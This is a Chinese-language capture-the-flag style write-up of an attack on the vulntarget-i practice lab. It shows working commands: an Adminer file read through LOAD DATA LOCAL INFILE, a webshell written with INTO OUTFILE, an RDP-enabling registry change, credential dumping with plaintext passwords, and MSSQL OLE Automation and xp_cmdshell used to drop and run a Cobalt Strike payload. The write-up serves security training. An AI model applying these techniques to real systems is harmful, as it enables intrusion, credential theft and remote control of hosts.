前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >vulntarget-i 打靶记录

vulntarget-i 打靶记录

作者头像
乌鸦安全
发布2022-12-19 16:05:51
6690
发布2022-12-19 16:05:51
举报
文章被收录于专栏:乌鸦安全

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

本文作者:on1_es,本文为on1_es原创,已获得作者授权!

vulntarget-i 搭建记录:

vulntarget漏洞靶场系列(九)— vulntarget-I

github地址:

代码语言:javascript
复制
https://github.com/crow821/vulntarget

No1

1.1 信息收集

靶机80端口访问过去后显示IIS7环境界面没有任何敏感信息

拿到靶机IP地址后做个端口扫描,发现8000端口开放存在http服务访问过去是个米拓建站系统,扫了一下当前目录发现存在adminer且版本比较低,网上找了一下文章尝试复现任意文件读取漏洞

1.2 文件读取

本机mysql开启外链:

代码语言:javascript
复制
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

创建用来接收文件内容的库和表:

代码语言:javascript
复制
create database adminer; create table test(text text(4096));

一开始使用绝对路径米拓cms配置文件总是报错,猜想可能更改了web默认目录尝试其他办法

浏览器访问adminer插件识别到了apache版本号,尝试利用相对路径读取vhosts文件

在phpstudy环境下vhosts文件的目录格式为"../../Extensions/中间件及版本号/conf/vhosts/0localhost_端口号.conf,拼接后的命令为:

代码语言:javascript
复制
load data local infile "../../Extensions/Apache2.4.39/conf/vhosts/0localhost_8000.conf" into table tr FIELDS TERMINATED BY '\n';

绝对路径拿到后尝试读取米拓cms数据库配置文件,命令:

代码语言:javascript
复制
load data local infile "C:\\php\\adsdrsdfv\\config\\config_db.php" into table test FIELDS TERMINATED BY '\n';

拿到数据库了后尝试getshell,一开始想的是日志getshell

但等等我尝试连接shell发现不行可能web目录不可写,想起来前面的80端口上开着iis服务尝试跨中间件写shell

1.3 跨中间件

首先了解一下Iis站点配置文件存放路径:

代码语言:javascript
复制
C:\\Windows\\System32\\inetsrv\\config\\applicationHost.config

登陆靶机adminer查看secure_file_priv参数信息

参数为空可读可写,前面用的函数为load data local infile这里在读取文件的时候会报类型不一致错,猜测iis目录为中文路径换load_file函数尝试读取

命令:

代码语言:javascript
复制
select load_file('C:/Windows/System32/inetsrv/config/applicationHost.config')

其中physicaIPath参数指向的是iis文件路径,尝试into outfile写马的时候遇到中文编码问题

1.4 中文路径

命令:

代码语言:javascript
复制
select '123' into outfile 'C:/vulnIIS/俱乐部/1.txt';

这里由于浏览器为utf-8没法处理中文,使用插件将编码改为gbk即可

或者将mysql数据库字符集编码为gbk应该也可以,但我尝试指定数据库字符集却报错,命令:

代码语言:javascript
复制
select '123' into outfile 'C:/vulnIIS/俱乐部/1.txt';

尝试访问

传了常规一句话连不上可能有杀软,直接写入冰蝎原生shell成功连接

1.5 内网渗透

先看一下IP信息存在双网卡做一下落地机信息收集systeminfo信息显示存在安全狗杀软,做个简单免杀传上去准备上线,顺便做了一下辅助提权发现ms16-075可用于后续提权:

上线CS后使用插件内的ms16-075攻击载荷提升至system权限,本想net user一下当前用户,结果给拦截了做了一下argue 进程参数欺骗就可以看到当前存在三个用户

尝试抓取用户明文密码

获取到的密码凭据有:admininstrator/Qwe123asd vulntarget/123.com

查看普通用户桌面的时候发现安装的有搜狗浏览器,CS利用插件获取浏览器缓存只读到了用户名密码读取失败可能是安全策略起作用了,尝试3389连上去查看

尝试连接3389发现没开,cmd下启动:

代码语言:javascript
复制
run REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f //开启远程桌面

利用抓到的普通用户明文上了远程桌面读取到了后台账号密码:administrator/8B..123admin,尝试内网横向

扫描存活指向第二台135主机,利用CS开了socket代理进内网

No2

2.1getshell-1

端口扫描发现开放8000端口利用前面浏览器抓到的密码成功登进后台,siteserver cms版本6.15翻了一下漏洞尝试利用模板下载漏洞getshell

跑C#程序得到加密后的downloadUrl值然后放入路径:

代码语言:javascript
复制
/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=参数&directoryName=suce

不会显示下载成功,但是文件的确会进行自己解压

尝试访问webshell页面白色成功解析,利用蚁剑成功连接

2.2 getshell-2

木马构造同上

附件上传设置把zip,rar后缀添加白名单使得构造的自解压压缩包能上传上去

shell路径:/SiteFiles/SiteTemplates/压缩包名/shell名.aspx

2.3 getshell-3

上传设置添加aspx后缀白名单,内容管理上传图片会显示重命名后的文件路径

使用蚁剑连接即可

2.4 内网渗透

拿到权限之后命令执行发现不出网主机,准备利用第一台主机做跳板机转发上线

使用第一台上线的靶机做转发上线建立监听地址,注意IP地址选第二张网卡因为内网其他网段不通默认网卡

在做exe木马生成的之后选择分阶木马payload选择新建的转发监听器上传靶机执行上线

尝试提权的时候这里使用梼杌的插件只能连接到公网CS监听器,内网已控主机的监听器是不存在的,这时候可以使用ms16-075的exe启动木马得到system权限但有些麻烦,巨龙拉古插件内置了此功能

选择本地提权功能在弹出的窗口下执行木马即可获取system权限,尝试读取cms数据库配置文件

查看IP发现不在本地上存在双网站库分离环境,尝试开启socket服务利用Proxifier创建代理链

本地连接使用Navicat,MDUT工具mssql数据库

发现sa账号密码字段拿去解密付费后得到明文为QwE123asd,尝试sa用户利用MDUT登陆数据库,可以使用certutil编码转exe文件实现落地,这里尝试sp_oacreate组件落地

3. No3

3.1 文件落地

启用OLE组件:

代码语言:javascript
复制
exec master.dbo.sp_configure 'show advanced options', 1
RECONFIGURE
exec master.dbo.sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

利用python转hex编码脚本把生成的马子转成hex,这里木马的生成和第二台主机一致均为转发上线这里不再阐述

把跑好后的hex编码放在OLE组件内并创建命令执行存储过程 命令:

代码语言:javascript
复制
DECLARE @DATAVARBINARY(MAX)= 0x-hex DECLARE @filepath VARCHAR(MAX)='C:\\Windows\\temp\\cs.exe'DECLARE @ObjectToken INTEXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUTEXEC sp_OASetProperty @ObjectToken,'Type',1EXEC sp_OAMethod @ObjectToken,'Open'EXEC sp_OAMethod @ObjectToken,'Write',NULL, @DATAEXEC sp_OAMethod @ObjectToken,'SaveToFile',NULL, @filepath,2EXEC sp_OAMethod @ObjectToken,'Close'EXEC sp_OADestroy @ObjectToken SELECT @filepath

但当我使用xp_cmdshell执行的时候提示拒绝访问,可能是权限太低了索性写到C:\Users\Public\Downloads\n.exe目录内,在调用cmd执行

成功上线CS命令:

代码语言:javascript
复制
exec master..xp_cmdshell "cmd /c C:\\Users\\Public\\Downloads\\n.exe"

处理提权的操作和第二台一致

成功拿下三台主机

为了贴近实战使用公网CS主机来打测试中代理链不稳可以使用Stowaway来搭多级代理。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-10-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • No1
    • 1.1 信息收集
      • 1.2 文件读取
        • 1.3 跨中间件
          • 1.4 中文路径
            • 1.5 内网渗透
            • No2
              • 2.1getshell-1
                • 2.2 getshell-2
                  • 2.3 getshell-3
                    • 2.4 内网渗透
                    • 3. No3
                      • 3.1 文件落地
                      相关产品与服务
                      数据库
                      云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档